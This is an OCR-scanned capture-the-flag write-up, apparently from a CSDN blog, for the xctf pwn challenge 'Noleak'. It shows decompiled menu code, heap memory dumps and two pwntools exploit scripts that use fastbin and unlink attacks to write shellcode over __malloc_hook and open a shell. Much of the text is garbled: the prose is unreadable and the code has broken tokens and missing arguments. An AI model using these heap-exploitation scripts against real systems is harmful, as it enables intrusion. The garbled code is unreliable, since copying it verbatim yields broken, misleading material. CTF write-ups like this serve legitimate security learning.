Noleak(xctf)

whiteh4nd F 2020-08-19 20:27:51 K Afi 290 R 1

PILH: # xetf(pwni F1X) CTF

R ] SO E R ISR, 5. CC 4.0 BY-SA AN, e i iy b i SCH AL B AN AR 1
ASCHERE: https://blog.csdn.net/weixin_43868725/article/details/108109807

FERAL

27 W CEE 0 AT 1
VTR E A

= CTF

41 F3CE 0 1T

T bR
0x0 F2 /v R 37 I A%
s

[*] '/home/whitehand/Desktop/a’
Arch: amd64-64-little

RELRO:
Stack:

NX :
PIE:
RWX :

main()


https://blog.csdn.net/weixin_43868725
https://blog.csdn.net/weixin_43868725/category_9984887.html
https://blog.csdn.net/weixin_43868725/category_10791864.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_43868725/article/details/108109807
https://blog.csdn.net/weixin_43868725/category_9984887.html
https://blog.csdn.net/weixin_43868725/category_10791864.html

void _ fastcall _ noreturn main(const char *al, char **

int v3; // eax

while ( 1 )
while ( 1 )
1

menu();

v3 = get_number();

if (w3 =2
break;

delete();

if (w3 »2)

if (w3 ==13)

update();

else

if (v3==4)

exit(1l);
LABEL_12:
write_str("Wrong choice\n”™, @xDu);
1
}
else

if (w3 I=1)
goto LABEL_12;
create();

create()

oid create()
i
signed int i; // [rsp+@h] [rbp-18h]
int nbytes; // [rsp+dh] [rbp-Ch]
wvoid *nbytes_4; // [rsp+8h] [rbp-8h]

write _str("Size: ", 6u);
nbytes = get_number();
nbytes 4 = malloc(nbytes);
if ( nbytes_4 )

for ( i =8; 1 <=9 &% buf[i]; ++1i )
if (1 ==18)

write_str("List is Full!\n", @xEu);
free(nbytes_4);

b

else

write_str("Data: ", 6u);
read(®, nbytes_4, (unsigned int)nbytes);
buf[i] = nbytes_4;
b
}
b

delete()

a2, char **a33)



wvold delete()

i

unsigned int v@; // [rsp+Ch] [rbp-4h]

write str("Index: ", 7u);

vid = get_number();

if ((ve <=9 )
free(buf[va]);

free 2 Ja BCH KHfRET B2, f-/EUAF.

edit()

int update()

void *w@; // rax

unsigned int nbytes; // 5TeC_4

int v3; // [rsp+8h] [rbp-8h]

write str("Index: ", 7u);
LODWORD(v@) = get_number();
v3 = (signed int)ve;

if ( (unsigned int)ve <= 9 )

v = buf[{unsigned int)ve];

if (ve )

}
b

write str("Size: ", 6u);
nbytes = get number();
write str("Data: ", 6u);

LODWORD(v@) = read(@®, buf[v3], nbytes);

return (signed int)ve;
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3. AE 5 Mimalloc_hook T )%, it A7 Zmalloc_hookff#ifil. Timalloc_hookf ikl 7] LLZElber #£ 5 .

.data:00008080003C4818 _ malloc_hook
.data:00000000003C4610
.data:00008000003C4B18
.data:00000000003C4620 dword_3C4B20
.data:0000BRBRAB3CA620
.data:00008000003C4624 dword_3C4B24

X A [Aimalloc_trim g %1

B

dq offset sub_85838@

align 2@h
dd @

dd @

)

1}

1}

; DATA XREF: LOAD:@e@2o22RBRBA388TO

.got:__malloc_hook_ptrto

DATA XREF: sub_7D91@:loc_7DBBETo
sub_7D9184+341%0 ...
DATA XREF: sub_ 7DEB@:loc_7DEEEfr



inte4 _ fastcall malloc_trim(__ int64 al)
i

bool w3; // =f

int v4; // erle

volatile signed __int32 *v5; // rdx

unsigned  inte4 v7; // ris

unsigned _ inte4 w8; // riz

signed  intB4 wo9; // rcx

signed int v1@; // ebp

unsigned  int64 v1l; // rl

signed __int64 vi12; // ri4

unsigned  int&4 w13; // ri13

__int64 i; // rbx

unsigned  int&4 w15; // rdi

int vle; // eax

unsigned  inte4 v17; // ril2

unsigned _ inte4 w18; // riZ

unsigned  int&4 w19; // ri2

signed int v28; // eax

int v21; // 57982 4

volatile signed _ int32 *w22; // [ 8h] [rbp-5@h]

signed int v23; // [rsp+leh] [rbp-48h]

unsigned int wv24; // [ 14h] [

__inte4 w25; // [rsp+l8h] [rbp-4@h]

Ln

v25 = alj;

if ( dword_3C4144 < @ )
sub_a546a();

s24 = @3

a;
22 = Rdword_3clB2e;

Y

int
__malloc_trim (size_t =)
{

int result = 0

if |__malloc_initialized < 0}
pitmalloc_init ();

mstate ar ptr = dmain_arena;
da
{

{void) mutex_lock (far ptr—mutex):
result |= mtrim (ar_ptr, =):
{void) mutex_unlock (Yar_pir—mutex):

ar_ptr = ar_ptr—'next;
1

while [ar_ptr != imain_arena);

return result:

A LLAIE fEmain_arena-0x105t /& malloc_hook i, TiUnsorted bintEfreeZ Ji fIfd Fbk#R 2= 45 [Fimain_arenalffix ffithhl. Ff
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if (__glibc_unlikely (bck->fd != victim))

malloc_printerr (
unsorted_chunks (av)->bk bck;
bck->fd unsorted_chunks (av);
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UL BT, Bea R AN D4R £ B AT 52 e AN fE, BT DLUAT RLE I Unlink 238 Fast bin Attack#buf (B 15 24
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Fast bin Attack:

Jear¢BFastoind f e #E R L], int_malloc 2 XA AL AL B 1Y size kT I6AE, WiRH size 52471 fast bin # R N size
AFFt 2 7w

if (__builtin_expect (fastbin_index (chunksize (victim)) idx, 9))

{

errstr

errout:

malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
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payload=p64(0)+p64(0x601058)
update (0, payload)

X/20xg Bx6016020
Ox0000000000000000 0x0000000000000000
Ox0000000000000000 0x0000000000000000
0x000000000189b010 Ox000000000189b120
Ox000000000189b196 Ox000000000189b6168
Ox0000000000000000 Ox00007fd7dce29b78

A DL I o ALK OXTF 32 e K

x/10xg Ox601065

Ox601065: 0xd7dce29b78000000 0x000000000000007F

& Fastbin binff)fd y0x601065.

delete(1)
update(1,p64(0x601065))



payload

p64(0x601068)+p64(0x601090)

create(0x60,payload)

BEET bufib B .

Xx/20xg Bx601030
Ox601630:
Ox601040:
Ox601650:
Ox601060:
Ox601670:
Ox601080:

0x0000000000000000
0x000000000189b010
Ox000000000189b190
0x000000000189b120
0x0000000000601075
0x0000000000601090

Ox0000000000000000
0x000000000189b120
0x000000000189b010
0x00007fd7dce29b78
Ox0000000000601068
0x0000000000000000

e AT LUl R 51 745 0x6010684ME 24 A" \x10 1 2 45 [Mimalloc_hook, 2 J5#fmalloc_hookXt it 5 Fyshellcode (i 4 ki, X B
#$E0x601090, 2 )5 0x6010904L 5 Ashellcode.
update(7, )

update(5,p64(0x601090))
update(8,shellcode)
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create(0x100,
create(0x100,

Z Ja i —AK/INAT LU dindexd [ pre_size flisize B HER, 2 J5 FRCRE iindex1

payload=p64(0)+p64(0x101)+p64(heap-0x18)+p64(heap-0x10) (0x100-0x20)+p64(0x100)+p64 (0x100)

create(0x200,payload)
delete(1)
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X/100xg Ox6609000
Px6035000: Ox0000000000000000
Px609010: Ox0000000000000000
Px6039020: Ox0000000000601028
Px609030: Ox6161616161616161
Px609040: 0x6161616161616161
Px609050: Ox6161616161616161
Px609060: 0x6161616161616161
Px609070: Ox6161616161616161
Px605080: 0x6161616161616161
Px609090: Ox6161616161616161
Px60390a0: 0x6161616161616161
Px6090b0O : Ox6161616161616161
Px6030cO: 0x6161616161616161
px6090d0: Ox6161616161616161
0x6090e0: 0x6161616161616161
Px6096070: Ox6161616161616161
Px609100: 0x6161616161616161
Px609110: Ox0000000000000100
Px609120: Ox000a317865646e0a
SEGIERETVH Ox0000000000000000
Px609140: Ox0000000000000000
Px609150: Ox0000000000000000
Px609160: Ox0000000000000000
Px609170: Ox0000000000000000
Px609180: Ox0000000000000000
Px609190: Ox0000000000000000
Px6091a0: Ox0000000000000000
Px6091b0O: Ox0000000000000000
Px6091cO: Ox0000000000000000
px6091d0: Ox0000000000000000
Px6091e0: Ox0000000000000000
Px6091f0: Ox0000000000000000

0x000000000000021
Ox000000000000010
0x0000000000601030
Ox616161616161616
0x616161616161616
Ox616161616161616
0x616161616161616
Ox616161616161616
0x616161616161616
Ox616161616161616
0x616161616161616
Ox616161616161616
0x616161616161616
Ox616161616161616
0x616161616161616
Ox616161616161616
0x616161616161616
Ox0000000000000100
0x0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000

Px609200: ﬂxﬂﬂﬂﬂﬂﬂﬂﬂggggﬁg_qr_wr L) S84
e

Px609210: Ox00000000

It index14E17110x609110.

X/20xg Bx601040
Ox0000000000609010

0x0000000000609010

(CRSEAU i plRIBEIE

X/20xg Bx601020
Ox0000000000000000
Ox0000000000000000

0x0000000000601028
0x0000000000609010

2 et fiFast bin AttackZ= A% 1.

Fast bin Attack:

0x0000000000609120
Ox0000000000000000

0x0000000000000000
Ox0000000000000000
0x0000000000609120
Ox0000000000000000

Unlink 1. JXFEE T2 1 K bufrh I {E
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from pwn import

sh=remote(

shellcode=asm(shellcraft.sh())

def create(size,data):
sh.sendlineafter(
sh.sendlineafter(
sh.sendafter(

delete(index):
sh.sendlineafter( P )

sh.sendlineafter( (index))

update(index,data):

sh.sendlineafter( 5 )
sh.sendlineafter( (index))
sh.sendlineafter( 5 ( (data)))
sh.sendafter( ,data)

exit():
sh.sendlineafter(

create(0x100,

k)

payload=p64(0)+p64(0x601058)
update (0, payload)
create(0x100,

delete(1)
update(1,p64(0x601065))
create(0x60, )
payload p64(0x601068)+p64 (0x601090)
create(0x60,payload)
update(7, )
update(5,p64(0x601090))
update(8,shellcode)
sh.sendlineafter(
sh.sendlineafter(
sh.interactive()




from pwn import

sh=remote(

shellcode=asm(shellcraft.
heap=0x601040

def create(size,data):
sh.sendlineafter(
sh.sendlineafter(

sh.sendlineafter(

def delete(index):
sh.sendlineafter( 5 )
sh.sendlineafter( (index))

update(index,data):

sh.sendlineafter( 5 )
sh.sendlineafter( (index))
sh.sendlineafter( 5 ( (data)))
sh.sendafter( ,data)

def exit():
sh.sendlineafter(

create(0x100,

create(0x100,

delete(9)

delete(1)

payload=p64(0)+p64(0x101)+p64(heap-0x18)+p64(heap-0x10) (0x100-0x20)+p64(0x100)+p64(0x100)
create(0x200,payload)

delete(1)

create(0x100,

create(0x10,

delete(3)
payload=p64(0)+p64(0x601058)
update (3, payload)
create(0x100,

payload=p64(0)*3+p64(0x601080)+p64(0)*4
update (0, payload)

update(5,p64(0x601080) )
update(0,shellcode)
sh.sendlineafter(
sh.sendlineafter(

sh.interactive()
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